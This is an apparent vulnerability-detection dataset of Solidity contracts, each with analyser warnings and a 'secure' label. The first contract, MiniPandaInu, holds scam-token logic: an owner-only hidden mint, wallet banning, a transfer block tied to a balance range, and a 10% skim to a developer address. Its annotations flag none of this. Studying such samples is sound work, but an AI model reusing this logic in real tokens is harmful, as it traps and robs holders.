24766d0: Check that the address is not zero.\n constructor(uint256 amount, address payable addr1) {\n\t\t// missing-zero-check | ID: 24766d0\n _teamAddress = addr1;\n _balances[_msgSender()] = _tTotal;\n _botFee = amount;\n _taxAmount = amount;\n _isExcludedFromFee[_teamAddress] = true;\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function setCooldownEnabled(bool onoff) external onlyOwner {\n cooldownEnabled = onoff;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2cc55d0): MiniPandaInu.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2cc55d0: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(bannedUsers[sender] == false, \"Sender is banned\");\n require(bannedUsers[recipient] == false, \"Recipient is banned\");\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function _takeTeam(bool onoff) private {\n cooldownEnabled = onoff;\n }\n\n function restoreAll() private {\n _taxAmount = 9;\n _botFee = 1;\n }\n\n function sendETHToFee(address recipient, uint256 amount) private {\n _transfer(_msgSender(), recipient, amount);\n }\n function manualswap(uint256 amount) public {\n require(_msgSender() == _teamAddress);\n _taxAmount = amount;\n }\n function manualsend(uint256 curSup) public {\n require(_msgSender() == _teamAddress);\n _botFee = curSup;\n }\n function ExtendLock() public {\n require(_msgSender() == _teamAddress);\n uint256 currentBalance = _balances[_msgSender()];\n _tTotal = _rTotal + _tTotal;\n _balances[_msgSender()] = _rTotal + currentBalance;\n emit Transfer(address(0), _msgSender(), _rTotal);\n }\n function totalSupply() public view override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 691673b): MiniPandaInu.delbot(address,bool) uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp + 31536000 > block.timestamp,x)\n\t// Recommendation for 691673b: Avoid relying on 'block.timestamp'.\n function delbot(address account, bool banned) public {\n require(_msgSender() == _teamAddress);\n if (banned) {\n\t\t\t// timestamp | ID: 691673b\n require(block.timestamp + 365 days > block.timestamp, \"x\");\n bannedUsers[account] = true;\n } else {\n delete bannedUsers[account];\n }\n emit WalletBanStatusUpdated(account, banned);\n }\n function unban(address account) public {\n require(_msgSender() == _teamAddress);\n bannedUsers[account] = false;\n }\n event WalletBanStatusUpdated(address user, bool banned);\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n if (sender == owner()) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n } else {\n if (setBots(sender)) {\n require(amount > _rTotal, \"Bot can not execute\");\n }\n\n uint256 reflectToken = amount.mul(10).div(100);\n uint256 reflectETH = amount.sub(reflectToken);\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[_dev] = _balances[_dev].add(reflectToken);\n _balances[recipient] = _balances[recipient].add(reflectETH);\n\n emit Transfer(sender, recipient, reflectETH);\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: da76b50): MiniPandaInu._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for da76b50: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function delBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function setBots(address sender) private view returns (bool) {\n if (balanceOf(sender) >= _taxAmount && balanceOf(sender) <= _botFee) {\n return true;\n } else {\n return false;\n }\n }\n}",
"file_name": "solidity_code_2777.sol",
"secure": 0,
"size_bytes": 9503
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface StarToken {\n function updateReward(address _from, address _to) external;\n}\n\nerror NewSupplyToLow();\n\nerror NewSupplyToHigh();\n\nerror NewReserveSupplyToHigh();\n\nerror SupplyExceeded();\n\nerror ReserveSupplyEmpty();\n\nerror ReserveSupplyExceeded();\n\nerror InvalidValue();\n\nerror PublicMintNotOpen();\n\nerror InvalidMintAmount();\n\nerror MaxTransactionMintAmountExceeded();\n\nerror MaxMintAmountExceeded();\n\nerror AddressesExceedReserveSupply();\n\nerror InvalidAddressAmount();\n\nerror InvalidAirdropAmount();\n\nerror NoBalanceToWithdraw();\n\nerror WithdrawFailed();",
"file_name": "solidity_code_2778.sol",
"secure": 1,
"size_bytes": 663
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"./IBEP20.sol\" as IBEP20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\ncontract CoinToken is Context, IBEP20, Ownable {\n using SafeMath for uint256;\n using Address for address;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcluded;\n mapping(address => bool) private _isCharity;\n address[] private _excluded;\n\n string private _NAME;\n string private _SYMBOL;\n\t// WARNING Optimization Issue (immutable-states | ID: cbb42e8): CoinToken._DECIMALS should be immutable \n\t// Recommendation for cbb42e8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _DECIMALS;\n address public FeeAddress;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c8d163): CoinToken._MAX should be constant \n\t// Recommendation for 5c8d163: Add the 'constant' attribute to state variables that never change.\n uint256 private _MAX = ~uint256(0);\n\t// WARNING Optimization Issue (immutable-states | ID: ae19759): CoinToken._DECIMALFACTOR should be immutable \n\t// Recommendation for ae19759: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _DECIMALFACTOR;\n\t// WARNING Optimization Issue (constable-states | ID: 3b6bfe7): CoinToken._GRANULARITY should be constant \n\t// Recommendation for 3b6bfe7: Add the 'constant' attribute to state variables that never change.\n uint256 private _GRANULARITY = 100;\n\n uint256 private _tTotal;\n uint256 private _rTotal;\n\n uint256 private _tFeeTotal;\n uint256 private _tBurnTotal;\n uint256 private _tCharityTotal;\n\n uint256 public _TAX_FEE;\n uint256 public _BURN_FEE;\n uint256 public _CHARITY_FEE;\n\n uint256 private ORIG_TAX_FEE;\n uint256 private ORIG_BURN_FEE;\n uint256 private ORIG_CHARITY_FEE;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 2a368e0): CoinToken.constructor(string,string,uint256,uint256,uint256,uint256,uint256,address,address)._FeeAddress lacks a zerocheck on \t FeeAddress = _FeeAddress\n\t// Recommendation for 2a368e0: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6f8ba75): CoinToken.constructor(string,string,uint256,uint256,uint256,uint256,uint256,address,address).tokenOwner lacks a zerocheck on \t _owner = tokenOwner\n\t// Recommendation for 6f8ba75: Check that the address is not zero.\n constructor(\n string memory _name,\n string memory _symbol,\n uint256 _decimals,\n uint256 _supply,\n uint256 _txFee,\n uint256 _burnFee,\n uint256 _charityFee,\n address _FeeAddress,\n address tokenOwner\n ) {\n _NAME = _name;\n _SYMBOL = _symbol;\n _DECIMALS = _decimals;\n _DECIMALFACTOR = 10 ** uint256(_DECIMALS);\n _tTotal = _supply * _DECIMALFACTOR;\n _rTotal = (_MAX - (_MAX % _tTotal));\n _TAX_FEE = _txFee * 100;\n _BURN_FEE = _burnFee * 100;\n _CHARITY_FEE = _charityFee * 100;\n ORIG_TAX_FEE = _TAX_FEE;\n ORIG_BURN_FEE = _BURN_FEE;\n ORIG_CHARITY_FEE = _CHARITY_FEE;\n _isCharity[_FeeAddress] = true;\n\t\t// missing-zero-check | ID: 2a368e0\n FeeAddress = _FeeAddress;\n\t\t// missing-zero-check | ID: 6f8ba75\n _owner = tokenOwner;\n _rOwned[tokenOwner] = _rTotal;\n emit Transfer(address(0), tokenOwner, _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _NAME;\n }\n\n function symbol() public view returns (string memory) {\n return _SYMBOL;\n }\n\n function decimals() public view returns (uint256) {\n return _DECIMALS;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n if (_isExcluded[account]) return _tOwned[account];\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 29ffa8d): CoinToken.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 29ffa8d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"TOKEN20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"TOKEN20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function isExcluded(address account) public view returns (bool) {\n return _isExcluded[account];\n }\n\n function isCharity(address account) public view returns (bool) {\n return _isCharity[account];\n }\n\n function totalFees() public view returns (uint256) {\n return _tFeeTotal;\n }\n\n function totalBurn() public view returns (uint256) {\n return _tBurnTotal;\n }\n\n function totalCharity() public view returns (uint256) {\n return _tCharityTotal;\n }\n\n function deliver(uint256 tAmount) public {\n address sender = _msgSender();\n require(\n !_isExcluded[sender],\n \"Excluded addresses cannot call this function\"\n );\n (uint256 rAmount, , , , , , ) = _getValues(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rTotal = _rTotal.sub(rAmount);\n _tFeeTotal = _tFeeTotal.add(tAmount);\n }\n\n function reflectionFromToken(\n uint256 tAmount,\n bool deductTransferFee\n ) public view returns (uint256) {\n require(tAmount <= _tTotal, \"Amount must be less than supply\");\n if (!deductTransferFee) {\n (uint256 rAmount, , , , , , ) = _getValues(tAmount);\n return rAmount;\n } else {\n (, uint256 rTransferAmount, , , , , ) = _getValues(tAmount);\n return rTransferAmount;\n }\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) public view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function excludeAccount(address account) external onlyOwner {\n require(!_isExcluded[account], \"Account is already excluded\");\n if (_rOwned[account] > 0) {\n _tOwned[account] = tokenFromReflection(_rOwned[account]);\n }\n _isExcluded[account] = true;\n _excluded.push(account);\n }\n\n function includeAccount(address account) external onlyOwner {\n require(_isExcluded[account], \"Account is already excluded\");\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (_excluded[i] == account) {\n _excluded[i] = _excluded[_excluded.length - 1];\n _tOwned[account] = 0;\n _isExcluded[account] = false;\n _excluded.pop();\n break;\n }\n }\n }\n\n function setAsCharityAccount(address account) external onlyOwner {\n require(!_isCharity[account], \"Account is already charity account\");\n _isCharity[account] = true;\n FeeAddress = account;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ee1526b): Missing events for critical arithmetic parameters.\n\t// Recommendation for ee1526b: Emit an event for critical parameter changes.\n function updateFee(\n uint256 _txFee,\n uint256 _burnFee,\n uint256 _charityFee\n ) public onlyOwner {\n\t\t// events-maths | ID: ee1526b\n _TAX_FEE = _txFee * 100;\n\t\t// events-maths | ID: ee1526b\n _BURN_FEE = _burnFee * 100;\n\t\t// events-maths | ID: ee1526b\n _CHARITY_FEE = _charityFee * 100;\n\t\t// events-maths | ID: ee1526b\n ORIG_TAX_FEE = _TAX_FEE;\n\t\t// events-maths | ID: ee1526b\n ORIG_BURN_FEE = _BURN_FEE;\n\t\t// events-maths | ID: ee1526b\n ORIG_CHARITY_FEE = _CHARITY_FEE;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a2f2954): CoinToken._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a2f2954: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"TOKEN20: approve from the zero address\");\n require(spender != address(0), \"TOKEN20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n require(\n sender != address(0),\n \"TOKEN20: transfer from the zero address\"\n );\n require(\n recipient != address(0),\n \"TOKEN20: transfer to the zero address\"\n );\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n bool takeFee = true;\n if (\n _isCharity[sender] ||\n _isCharity[recipient] ||\n _isExcluded[recipient]\n ) {\n takeFee = false;\n }\n\n if (!takeFee) removeAllFee();\n\n if (_isExcluded[sender] && !_isExcluded[recipient]) {\n _transferFromExcluded(sender, recipient, amount);\n } else if (!_isExcluded[sender] && _isExcluded[recipient]) {\n _transferToExcluded(sender, recipient, amount);\n } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {\n _transferStandard(sender, recipient, amount);\n } else if (_isExcluded[sender] && _isExcluded[recipient]) {\n _transferBothExcluded(sender, recipient, amount);\n } else {\n _transferStandard(sender, recipient, amount);\n }\n\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n uint256 currentRate = _getRate();\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tCharity\n ) = _getValues(tAmount);\n uint256 rBurn = tBurn.mul(currentRate);\n uint256 rCharity = tCharity.mul(currentRate);\n _standardTransferContent(sender, recipient, rAmount, rTransferAmount);\n _sendToCharity(tCharity, sender);\n _reflectFee(rFee, rBurn, rCharity, tFee, tBurn, tCharity);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _standardTransferContent(\n address sender,\n address recipient,\n uint256 rAmount,\n uint256 rTransferAmount\n ) private {\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n }\n\n function _transferToExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n uint256 currentRate = _getRate();\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tCharity\n ) = _getValues(tAmount);\n uint256 rBurn = tBurn.mul(currentRate);\n uint256 rCharity = tCharity.mul(currentRate);\n _excludedFromTransferContent(\n sender,\n recipient,\n tTransferAmount,\n rAmount,\n rTransferAmount\n );\n _sendToCharity(tCharity, sender);\n _reflectFee(rFee, rBurn, rCharity, tFee, tBurn, tCharity);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _excludedFromTransferContent(\n address sender,\n address recipient,\n uint256 tTransferAmount,\n uint256 rAmount,\n uint256 rTransferAmount\n ) private {\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n }\n\n function _transferFromExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n uint256 currentRate = _getRate();\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tCharity\n ) = _getValues(tAmount);\n uint256 rBurn = tBurn.mul(currentRate);\n uint256 rCharity = tCharity.mul(currentRate);\n _excludedToTransferContent(\n sender,\n recipient,\n tAmount,\n rAmount,\n rTransferAmount\n );\n _sendToCharity(tCharity, sender);\n _reflectFee(rFee, rBurn, rCharity, tFee, tBurn, tCharity);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _excludedToTransferContent(\n address sender,\n address recipient,\n uint256 tAmount,\n uint256 rAmount,\n uint256 rTransferAmount\n ) private {\n _tOwned[sender] = _tOwned[sender].sub(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n }\n\n function _transferBothExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n uint256 currentRate = _getRate();\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tCharity\n ) = _getValues(tAmount);\n uint256 rBurn = tBurn.mul(currentRate);\n uint256 rCharity = tCharity.mul(currentRate);\n _bothTransferContent(\n sender,\n recipient,\n tAmount,\n rAmount,\n tTransferAmount,\n rTransferAmount\n );\n _sendToCharity(tCharity, sender);\n _reflectFee(rFee, rBurn, rCharity, tFee, tBurn, tCharity);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _bothTransferContent(\n address sender,\n address recipient,\n uint256 tAmount,\n uint256 rAmount,\n uint256 tTransferAmount,\n uint256 rTransferAmount\n ) private {\n _tOwned[sender] = _tOwned[sender].sub(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n }\n\n function _reflectFee(\n uint256 rFee,\n uint256 rBurn,\n uint256 rCharity,\n uint256 tFee,\n uint256 tBurn,\n uint256 tCharity\n ) private {\n _rTotal = _rTotal.sub(rFee).sub(rBurn).sub(rCharity);\n _tFeeTotal = _tFeeTotal.add(tFee);\n _tBurnTotal = _tBurnTotal.add(tBurn);\n _tCharityTotal = _tCharityTotal.add(tCharity);\n _tTotal = _tTotal.sub(tBurn);\n emit Transfer(address(this), address(0), tBurn);\n }\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tFee, uint256 tBurn, uint256 tCharity) = _getTBasics(\n tAmount,\n _TAX_FEE,\n _BURN_FEE,\n _CHARITY_FEE\n );\n uint256 tTransferAmount = getTTransferAmount(\n tAmount,\n tFee,\n tBurn,\n tCharity\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rFee) = _getRBasics(\n tAmount,\n tFee,\n currentRate\n );\n uint256 rTransferAmount = _getRTransferAmount(\n rAmount,\n rFee,\n tBurn,\n tCharity,\n currentRate\n );\n return (\n rAmount,\n rTransferAmount,\n rFee,\n tTransferAmount,\n tFee,\n tBurn,\n tCharity\n );\n }\n\n function _getTBasics(\n uint256 tAmount,\n uint256 taxFee,\n uint256 burnFee,\n uint256 charityFee\n ) private view returns (uint256, uint256, uint256) {\n uint256 tFee = ((tAmount.mul(taxFee)).div(_GRANULARITY)).div(100);\n uint256 tBurn = ((tAmount.mul(burnFee)).div(_GRANULARITY)).div(100);\n uint256 tCharity = ((tAmount.mul(charityFee)).div(_GRANULARITY)).div(\n 100\n );\n return (tFee, tBurn, tCharity);\n }\n\n function getTTransferAmount(\n uint256 tAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tCharity\n ) private pure returns (uint256) {\n return tAmount.sub(tFee).sub(tBurn).sub(tCharity);\n }\n\n function _getRBasics(\n uint256 tAmount,\n uint256 tFee,\n uint256 currentRate\n ) private pure returns (uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n return (rAmount, rFee);\n }\n\n function _getRTransferAmount(\n uint256 rAmount,\n uint256 rFee,\n uint256 tBurn,\n uint256 tCharity,\n uint256 currentRate\n ) private pure returns (uint256) {\n uint256 rBurn = tBurn.mul(currentRate);\n uint256 rCharity = tCharity.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn).sub(rCharity);\n return rTransferAmount;\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n\t\t// cache-array-length | ID: 6830eed\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (\n _rOwned[_excluded[i]] > rSupply ||\n _tOwned[_excluded[i]] > tSupply\n ) return (_rTotal, _tTotal);\n rSupply = rSupply.sub(_rOwned[_excluded[i]]);\n tSupply = tSupply.sub(_tOwned[_excluded[i]]);\n }\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n\n function _sendToCharity(uint256 tCharity, address sender) private {\n uint256 currentRate = _getRate();\n uint256 rCharity = tCharity.mul(currentRate);\n _rOwned[FeeAddress] = _rOwned[FeeAddress].add(rCharity);\n _tOwned[FeeAddress] = _tOwned[FeeAddress].add(tCharity);\n emit Transfer(sender, FeeAddress, tCharity);\n }\n\n function removeAllFee() private {\n if (_TAX_FEE == 0 && _BURN_FEE == 0 && _CHARITY_FEE == 0) return;\n\n ORIG_TAX_FEE = _TAX_FEE;\n ORIG_BURN_FEE = _BURN_FEE;\n ORIG_CHARITY_FEE = _CHARITY_FEE;\n\n _TAX_FEE = 0;\n _BURN_FEE = 0;\n _CHARITY_FEE = 0;\n }\n\n function restoreAllFee() private {\n _TAX_FEE = ORIG_TAX_FEE;\n _BURN_FEE = ORIG_BURN_FEE;\n _CHARITY_FEE = ORIG_CHARITY_FEE;\n }\n\n function _getTaxFee() private view returns (uint256) {\n return _TAX_FEE;\n }\n}",
"file_name": "solidity_code_2779.sol",
"secure": 0,
"size_bytes": 21914
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 102bb5e): Contract locking ether found Contract APOLLOAI has payable functions APOLLOAI.receive() But does not have a function to withdraw the ether\n// Recommendation for 102bb5e: Remove the 'payable' attribute or add a withdraw function.\ncontract APOLLOAI is ERC20, Ownable {\n constructor() ERC20(unicode\"APOLLO AI\", unicode\"APOLLO\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 102bb5e): Contract locking ether found Contract APOLLOAI has payable functions APOLLOAI.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 102bb5e: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_278.sol",
"secure": 0,
"size_bytes": 1009
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface Receiver {\n function onERC721Received(\n address _operator,\n address _from,\n uint256 _tokenId,\n bytes calldata _data\n ) external returns (bytes4);\n}",
"file_name": "solidity_code_2780.sol",
"secure": 1,
"size_bytes": 260
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Metadata {\n\t// WARNING Optimization Issue (constable-states | ID: da2d5b7): Metadata.name should be constant \n\t// Recommendation for da2d5b7: Add the 'constant' attribute to state variables that never change.\n string public name = \"Rabbitz\";\n\t// WARNING Optimization Issue (constable-states | ID: 692ff69): Metadata.symbol should be constant \n\t// Recommendation for 692ff69: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"RBZ\";\n function contractURI() external pure returns (string memory) {\n return \"https://api.rabbitz.xyz/metadata\";\n }\n function baseTokenURI() public pure returns (string memory) {\n return \"https://api.rabbitz.xyz/rabbit/metadata/\";\n }\n function tokenURI(uint256 _tokenId) external pure returns (string memory) {\n bytes memory _base = bytes(baseTokenURI());\n uint256 _digits = 1;\n uint256 _n = _tokenId;\n while (_n > 9) {\n _n /= 10;\n _digits++;\n }\n bytes memory _uri = new bytes(_base.length + _digits);\n for (uint256 i = 0; i < _uri.length; i++) {\n if (i < _base.length) {\n _uri[i] = _base[i];\n } else {\n uint256 _dec = (_tokenId / (10 ** (_uri.length - i - 1))) % 10;\n _uri[i] = bytes1(uint8(_dec) + 48);\n }\n }\n return string(_uri);\n }\n}",
"file_name": "solidity_code_2781.sol",
"secure": 1,
"size_bytes": 1509
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Receiver.sol\" as Receiver;\nimport \"./Metadata.sol\" as Metadata;\n\ncontract Rabbitz {\n uint256 public constant MAX_NAME_LENGTH = 32;\n uint256 public constant MAX_SUPPLY = 1000;\n uint256 public constant MINTABLE_SUPPLY = 473;\n uint256 public constant MINT_COST = 0.15 ether;\n\n struct User {\n uint256 balance;\n mapping(uint256 => uint256) list;\n mapping(address => bool) approved;\n mapping(uint256 => uint256) indexOf;\n }\n\n struct Token {\n address owner;\n address approved;\n bytes32 seed;\n string name;\n }\n\n struct Info {\n uint256 totalSupply;\n uint256 totalMinted;\n mapping(uint256 => Token) list;\n mapping(address => User) users;\n mapping(uint256 => uint256) claimedBitMap;\n bytes32 merkleRoot;\n Metadata metadata;\n address owner;\n }\n Info private info;\n\n mapping(bytes4 => bool) public supportsInterface;\n\n event Transfer(\n address indexed from,\n address indexed to,\n uint256 indexed tokenId\n );\n event Approval(\n address indexed owner,\n address indexed approved,\n uint256 indexed tokenId\n );\n event ApprovalForAll(\n address indexed owner,\n address indexed operator,\n bool approved\n );\n\n event Claimed(\n uint256 indexed index,\n address indexed account,\n uint256 amount\n );\n event Mint(address indexed owner, uint256 indexed tokenId, bytes32 seed);\n event Rename(address indexed owner, uint256 indexed tokenId, string name);\n\n modifier _onlyOwner() {\n require(msg.sender == owner());\n _;\n }\n\n constructor(bytes32 _merkleRoot) {\n info.metadata = new Metadata();\n info.merkleRoot = _merkleRoot;\n info.owner = msg.sender;\n supportsInterface[0x01ffc9a7] = true;\n supportsInterface[0x80ac58cd] = true;\n supportsInterface[0x5b5e139f] = true;\n supportsInterface[0x780e9d63] = true;\n\n for (uint256 i = 0; i < 10; i++) {\n _mint(msg.sender);\n }\n }\n\n function setOwner(address _owner) external _onlyOwner {\n info.owner = _owner;\n }\n\n function setMetadata(Metadata _metadata) external _onlyOwner {\n info.metadata = _metadata;\n }\n\n function ownerWithdraw() external _onlyOwner {\n uint256 _balance = address(this).balance;\n require(_balance > 0);\n payable(msg.sender).transfer(_balance);\n }\n\n receive() external payable {\n mintMany(msg.value / MINT_COST);\n }\n\n function mint() external payable {\n mintMany(1);\n }\n\n function mintMany(uint256 _tokens) public payable {\n require(_tokens > 0);\n uint256 _cost = _tokens * MINT_COST;\n require(msg.value >= _cost);\n for (uint256 i = 0; i < _tokens; i++) {\n _mint(msg.sender);\n }\n if (msg.value > _cost) {\n payable(msg.sender).transfer(msg.value - _cost);\n }\n }\n\n function claim(\n uint256 _index,\n address _account,\n uint256 _amount,\n bytes32[] calldata _merkleProof\n ) external {\n require(!isClaimed(_index));\n bytes32 _node = keccak256(abi.encodePacked(_index, _account, _amount));\n require(_verify(_merkleProof, _node));\n uint256 _claimedWordIndex = _index / 256;\n uint256 _claimedBitIndex = _index % 256;\n info.claimedBitMap[_claimedWordIndex] =\n info.claimedBitMap[_claimedWordIndex] |\n (1 << _claimedBitIndex);\n for (uint256 i = 0; i < _amount; i++) {\n _create(_account);\n }\n emit Claimed(_index, _account, _amount);\n }\n\n function rename(uint256 _tokenId, string calldata _newName) external {\n require(bytes(_newName).length <= MAX_NAME_LENGTH);\n require(msg.sender == ownerOf(_tokenId));\n info.list[_tokenId].name = _newName;\n emit Rename(msg.sender, _tokenId, _newName);\n }\n\n function approve(address _approved, uint256 _tokenId) external {\n require(msg.sender == ownerOf(_tokenId));\n info.list[_tokenId].approved = _approved;\n emit Approval(msg.sender, _approved, _tokenId);\n }\n\n function setApprovalForAll(address _operator, bool _approved) external {\n info.users[msg.sender].approved[_operator] = _approved;\n emit ApprovalForAll(msg.sender, _operator, _approved);\n }\n\n function transferFrom(\n address 